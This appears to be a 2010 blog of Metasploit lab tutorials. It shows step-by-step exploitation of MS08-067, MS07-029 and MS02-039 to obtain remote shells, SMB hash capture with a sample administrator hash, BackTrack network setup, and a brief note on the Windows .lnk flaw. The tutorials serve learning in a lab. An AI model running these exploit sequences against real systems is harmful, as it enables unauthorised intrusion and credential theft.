Local Host: 192.168.1.252/24 (TEST-BT4)
Target Host: 192.168.1.50/24 (LON-CL1)
Step 1: Search for smb pattern
msf > search smb
Step 2: Use SMB Auxiliary module to capture hashes
msf > use server/capture/smb
msf auxiliary(smb) > show options
sniff..
msf auxiliary(smb) > set PWFILE /tmp/captured_hashes.txt
msf auxiliary(smb) > set SRVHOST 192.168.1.252
msf auxiliary(smb) > run
Step 3: From the target machine, connect to our machine by using:
\\192.168.1.252\shared\xxx.jpg
Note: \shared\xxx.jpg is just a fake link (doesn't exist).
Step 4: Switch to our machine and check if you've got the hashes captured
msf auxiliary(smb) >
[*] Captured 192.168.1.50:1038 LON-CL1\Administrator LMHASH:24c9f38ec487472158851be047f9bd66ee5ef6eb6ff6e04d NTHASH:e52d81bf661f3699cfa4b631aead9ec78416dc8bce17dfd4 OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002 5.1
Press Ctrl-C to exit from msf console.
To display our captured hashes, change to /tmp directory:
root@bt:/pentest/exploits/framework3# cd /tmp
root@bt:/tmp# cat captured_hashes.txt
Tuesday, September 14, 2010
Tutorial: Metasploit Basics 3
Exploiting Vulnerable Server (MS08-067)
Local host: 131.107.1.252/24 (TEST-BT4)
Target host: 131.107.1.250/24 (DEN-WEB3)
Step 1: Switch to Metasploit Framework working directory
root@bt:~# cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3# ./msfconsole
Step 2: Determine the target's OS version
msf > use scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 131.107.1.250
msf auxiliary(smb_version) > run
[*] 131.107.1.250 is running Windows 2003 Service Pack 2
sniff...
Step 3: Search for smb pattern & use the correct exploit module (ms08-067)
msf > search smb
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > set RHOST 131.107.1.250
msf exploit(ms08_067_netapi) > set LHOST 131.107.1.252
msf exploit(ms08_067_netapi) > set LPORT 443
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP1 Japanese (NO NX)
9 Windows 2003 SP2 English (NO NX)
10 Windows 2003 SP2 English (NX)
11 Windows 2003 SP2 German (NO NX)
12 Windows 2003 SP2 German (NX)
13 Windows XP SP2 Arabic (NX)
sniff...
msf exploit(ms08_067_netapi) > set TARGET 10
msf exploit(ms08_067_netapi) > exploit
sniff...
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>
Local host: 131.107.1.252/24 (TEST-BT4)
Target host: 131.107.1.250/24 (DEN-WEB3)
Step 1: Switch to Metasploit Framework working directory
root@bt:~# cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3# ./msfconsole
Step 2: Determine the target's OS version
msf > use scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 131.107.1.250
msf auxiliary(smb_version) > run
[*] 131.107.1.250 is running Windows 2003 Service Pack 2
sniff...
Step 3: Search for smb pattern & use the correct exploit module (ms08-067)
msf > search smb
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > set RHOST 131.107.1.250
msf exploit(ms08_067_netapi) > set LHOST 131.107.1.252
msf exploit(ms08_067_netapi) > set LPORT 443
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP1 Japanese (NO NX)
9 Windows 2003 SP2 English (NO NX)
10 Windows 2003 SP2 English (NX)
11 Windows 2003 SP2 German (NO NX)
12 Windows 2003 SP2 German (NX)
13 Windows XP SP2 Arabic (NX)
sniff...
msf exploit(ms08_067_netapi) > set TARGET 10
msf exploit(ms08_067_netapi) > exploit
sniff...
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>
Tutorial: Metasploit Basics 2
Exploiting Vulnerable Server (MS07-029)
Local host: 131.107.1.252/24 (TEST-BT4)
Target host: 131.107.1.250/24 (DEN-WEB3)
Step 1: Switch to Metasploit Framework working directory
root@bt:~# cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3# ./msfconsole
Step 2: Search for rpc pattern & use the correct exploit module (ms07-029)
msf > search rpc
[*] Searching loaded modules for pattern 'rpc'...
msf > info windows/dcerpc/ms07_029_msdns_zonename
msf > use windows/dcerpc/ms07_029_msdns_zonename
msf exploit(ms07_029_msdns_zonename) > set PAYLOAD windows/shell/reverse_tcp
msf exploit(ms07_029_msdns_zonename) > set RHOST 131.107.1.250
msf exploit(ms07_029_msdns_zonename) > set LHOST 131.107.1.252
msf exploit(ms07_029_msdns_zonename) > set LPORT 443
msf exploit(ms07_029_msdns_zonename) > exploit
sniff...
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>
Local host: 131.107.1.252/24 (TEST-BT4)
Target host: 131.107.1.250/24 (DEN-WEB3)
Step 1: Switch to Metasploit Framework working directory
root@bt:~# cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3# ./msfconsole
Step 2: Search for rpc pattern & use the correct exploit module (ms07-029)
msf > search rpc
[*] Searching loaded modules for pattern 'rpc'...
msf > info windows/dcerpc/ms07_029_msdns_zonename
msf > use windows/dcerpc/ms07_029_msdns_zonename
msf exploit(ms07_029_msdns_zonename) > set PAYLOAD windows/shell/reverse_tcp
msf exploit(ms07_029_msdns_zonename) > set RHOST 131.107.1.250
msf exploit(ms07_029_msdns_zonename) > set LHOST 131.107.1.252
msf exploit(ms07_029_msdns_zonename) > set LPORT 443
msf exploit(ms07_029_msdns_zonename) > exploit
sniff...
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>
Tutorial: BackTrack Basics
Setting-up IP addresses
Option 1: Static IP addresses
Note: Ensure that all your Network Interface card (VM) was set to Host-only.
root@bt:~# ifconfig eth0 up
root@bt:~# ifconfig eth0 131.107.1.252/24
root@bt:~# ifconfig eth1 up
root@bt:~# ifconfig eth1 192.168.1.252/24
root@bt:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:5d:6a:2f
inet addr:131.107.1.252 Bcast:131.107.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe5d:6a2f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:64717 errors:0 dropped:0 overruns:0 frame:0
TX packets:301639 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9873166 (9.8 MB) TX bytes:15566403 (15.5 MB)
Interrupt:19 Base address:0x2000
eth1 Link encap:Ethernet HWaddr 00:0c:29:5d:6a:39
inet addr:192.168.1.252 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe5d:6a39/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:248732 errors:0 dropped:0 overruns:0 frame:0
TX packets:6227 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:15234469 (15.2 MB) TX bytes:332024 (332.0 KB)
Interrupt:16 Base address:0x2080
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:29254 errors:0 dropped:0 overruns:0 frame:0
TX packets:29254 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7105201 (7.1 MB) TX bytes:7105201 (7.1 MB)
Option 2: Static & Dynamic IP addresses
Note: Ensure that your 2nd Network Interface card (VM) was set to NAT or Bridge.
root@bt:~# ifconfig eth0 up
root@bt:~# ifconfig eth0 131.107.1.252/24
root@bt:~# ifconfig eth1 up
NAT configuration
root@bt:~# dhclient eth1
sniff...
Internet Systems Consortium DHCP Client V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Listening on LPF/eth1/00:0c:29:5d:6a:39
Sending on LPF/eth1/00:0c:29:5d:6a:39
Sending on Socket/fallback
DHCPREQUEST of 192.168.252.63 on eth1 to 255.255.255.255 port 67
DHCPNAK from 192.168.162.254
DHCPDISCOVER on eth1 to 255.255.255.255 port 67 interval 6
DHCPOFFER of 192.168.162.128 from 192.168.162.254
DHCPREQUEST of 192.168.162.128 on eth1 to 255.255.255.255 port 67
DHCPACK of 192.168.162.128 from 192.168.162.254
bound to 192.168.162.128 -- renewal in 712 seconds.
Bridge configuration with Gateway and Name Servers
root@bt:~# dhclient eth1
sniff..
Internet Systems Consortium DHCP Client V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Listening on LPF/eth1/00:0c:29:5d:6a:39
Sending on LPF/eth1/00:0c:29:5d:6a:39
Sending on Socket/fallback
DHCPREQUEST of 192.168.162.128 on eth1 to 255.255.255.255 port 67
DHCPNAK from 192.168.252.37
DHCPDISCOVER on eth1 to 255.255.255.255 port 67 interval 6
DHCPOFFER of 192.168.252.154 from 192.168.252.37
DHCPREQUEST of 192.168.252.154 on eth1 to 255.255.255.255 port 67
DHCPACK of 192.168.252.154 from 192.168.252.37
bound to 192.168.252.154 -- renewal in 320827 seconds.
root@bt:~# route add default gw 192.168.252.1
root@bt:~# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default etserver.execut 255.255.255.0 UG 0 0 0 eth1
192.168.101.0 * 255.255.255.0 U 0 0 0 eth0
192.168.252.0 * 255.255.255.0 U 0 0 0 eth1
root@bt:~# nano /etc/resolv.conf
nameserver 192.168.252.1
nameserver 208.67.222.222
nameserver 208.67.220.220
root@bt:~# ping 192.168.252.1
PING 192.168.252.1 (192.168.252.1) 56(84) bytes of data.
64 bytes from 192.168.252.1: icmp_seq=1 ttl=128 time=0.741 ms
64 bytes from 192.168.252.1: icmp_seq=2 ttl=128 time=0.729 ms
64 bytes from 192.168.252.1: icmp_seq=3 ttl=128 time=0.689 ms
^C
--- 192.168.252.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 0.689/0.719/0.741/0.038 ms
root@bt:~# ping www.yahoo.com
PING any-fp.wa1.b.yahoo.com (72.30.2.43) 56(84) bytes of data.
64 bytes from ir1.fp.vip.sk1.yahoo.com (72.30.2.43): icmp_seq=1 ttl=44 time=308 ms
sniff..
Option 1: Static IP addresses
Note: Ensure that all your Network Interface card (VM) was set to Host-only.
root@bt:~# ifconfig eth0 up
root@bt:~# ifconfig eth0 131.107.1.252/24
root@bt:~# ifconfig eth1 up
root@bt:~# ifconfig eth1 192.168.1.252/24
root@bt:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:5d:6a:2f
inet addr:131.107.1.252 Bcast:131.107.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe5d:6a2f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:64717 errors:0 dropped:0 overruns:0 frame:0
TX packets:301639 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9873166 (9.8 MB) TX bytes:15566403 (15.5 MB)
Interrupt:19 Base address:0x2000
eth1 Link encap:Ethernet HWaddr 00:0c:29:5d:6a:39
inet addr:192.168.1.252 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe5d:6a39/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:248732 errors:0 dropped:0 overruns:0 frame:0
TX packets:6227 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:15234469 (15.2 MB) TX bytes:332024 (332.0 KB)
Interrupt:16 Base address:0x2080
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:29254 errors:0 dropped:0 overruns:0 frame:0
TX packets:29254 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7105201 (7.1 MB) TX bytes:7105201 (7.1 MB)
Option 2: Static & Dynamic IP addresses
Note: Ensure that your 2nd Network Interface card (VM) was set to NAT or Bridge.
root@bt:~# ifconfig eth0 up
root@bt:~# ifconfig eth0 131.107.1.252/24
root@bt:~# ifconfig eth1 up
NAT configuration
root@bt:~# dhclient eth1
sniff...
Internet Systems Consortium DHCP Client V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Listening on LPF/eth1/00:0c:29:5d:6a:39
Sending on LPF/eth1/00:0c:29:5d:6a:39
Sending on Socket/fallback
DHCPREQUEST of 192.168.252.63 on eth1 to 255.255.255.255 port 67
DHCPNAK from 192.168.162.254
DHCPDISCOVER on eth1 to 255.255.255.255 port 67 interval 6
DHCPOFFER of 192.168.162.128 from 192.168.162.254
DHCPREQUEST of 192.168.162.128 on eth1 to 255.255.255.255 port 67
DHCPACK of 192.168.162.128 from 192.168.162.254
bound to 192.168.162.128 -- renewal in 712 seconds.
Bridge configuration with Gateway and Name Servers
root@bt:~# dhclient eth1
sniff..
Internet Systems Consortium DHCP Client V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Listening on LPF/eth1/00:0c:29:5d:6a:39
Sending on LPF/eth1/00:0c:29:5d:6a:39
Sending on Socket/fallback
DHCPREQUEST of 192.168.162.128 on eth1 to 255.255.255.255 port 67
DHCPNAK from 192.168.252.37
DHCPDISCOVER on eth1 to 255.255.255.255 port 67 interval 6
DHCPOFFER of 192.168.252.154 from 192.168.252.37
DHCPREQUEST of 192.168.252.154 on eth1 to 255.255.255.255 port 67
DHCPACK of 192.168.252.154 from 192.168.252.37
bound to 192.168.252.154 -- renewal in 320827 seconds.
root@bt:~# route add default gw 192.168.252.1
root@bt:~# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default etserver.execut 255.255.255.0 UG 0 0 0 eth1
192.168.101.0 * 255.255.255.0 U 0 0 0 eth0
192.168.252.0 * 255.255.255.0 U 0 0 0 eth1
root@bt:~# nano /etc/resolv.conf
nameserver 192.168.252.1
nameserver 208.67.222.222
nameserver 208.67.220.220
root@bt:~# ping 192.168.252.1
PING 192.168.252.1 (192.168.252.1) 56(84) bytes of data.
64 bytes from 192.168.252.1: icmp_seq=1 ttl=128 time=0.741 ms
64 bytes from 192.168.252.1: icmp_seq=2 ttl=128 time=0.729 ms
64 bytes from 192.168.252.1: icmp_seq=3 ttl=128 time=0.689 ms
^C
--- 192.168.252.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 0.689/0.719/0.741/0.038 ms
root@bt:~# ping www.yahoo.com
PING any-fp.wa1.b.yahoo.com (72.30.2.43) 56(84) bytes of data.
64 bytes from ir1.fp.vip.sk1.yahoo.com (72.30.2.43): icmp_seq=1 ttl=44 time=308 ms
sniff..
Monday, September 13, 2010
Tutorial: Metasploit Basics 1
Exploiting Vulnerable Server (MS02-039)
Local host: 131.107.1.252/24 (TEST-BT4)
Target host: 131.107.1.101/24 (DEN-WEB1)
Step 1: Switch to Metasploit Framework working directory
root@bt:~# cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3# ./msfconsole
Step 2: Search for mssql pattern & use the correct exploit module (ms03-039)
msf > search mssql
[*] Searching loaded modules for pattern 'mssql'...
msf > info windows/mssql/ms02_039_slammer
msf > use windows/mssql/ms02_039_slammer
msf exploit(ms02_039_slammer) > show payloads
msf exploit(ms02_039_slammer) > set PAYLOAD windows/shell/bind_tcp
msf exploit(ms02_039_slammer) > show options
msf exploit(ms02_039_slammer) > set RHOST 131.107.1.101
msf exploit(ms02_039_slammer) > set LHOST 131.107.1.252
msf exploit(ms02_039_slammer) > set LPORT 5555
msf exploit(ms02_039_slammer) > exploit
sniff...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\WINNT\system32>
Local host: 131.107.1.252/24 (TEST-BT4)
Target host: 131.107.1.101/24 (DEN-WEB1)
Step 1: Switch to Metasploit Framework working directory
root@bt:~# cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3# ./msfconsole
Step 2: Search for mssql pattern & use the correct exploit module (ms03-039)
msf > search mssql
[*] Searching loaded modules for pattern 'mssql'...
msf > info windows/mssql/ms02_039_slammer
msf > use windows/mssql/ms02_039_slammer
msf exploit(ms02_039_slammer) > show payloads
msf exploit(ms02_039_slammer) > set PAYLOAD windows/shell/bind_tcp
msf exploit(ms02_039_slammer) > show options
msf exploit(ms02_039_slammer) > set RHOST 131.107.1.101
msf exploit(ms02_039_slammer) > set LHOST 131.107.1.252
msf exploit(ms02_039_slammer) > set LPORT 5555
msf exploit(ms02_039_slammer) > exploit
sniff...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\WINNT\system32>
Tuesday, August 10, 2010
Windows Shortcut Vulnerability
The Windows Shortcut Exploit, also known as CPLINK, is a zero-day vulnerability in all versions of Windows that allows a Windows shortcut link, known as an .lnk file, to run a malicious DLL file. The dangerous shortcut links can also be embedded on a website or hidden within documents.
The exploit works when you open a device, network share or WebDav point carrying an infection—you don't need to click on anything for the exploit to work, even if you have AutoPlay and AutoRun disabled.
SophosLabs first saw this exploit at work through the rootkit W32/Stuxnet-B, which targets Siemens SCADA systems to discover the system default password.
While Stuxnet only affected Windows machines with infected USB drives plugged in, the Windows Shortcut Exploit in general can work through file shares and WebDav as well.
Download the protection tool here.
Subscribe to:
Posts (Atom)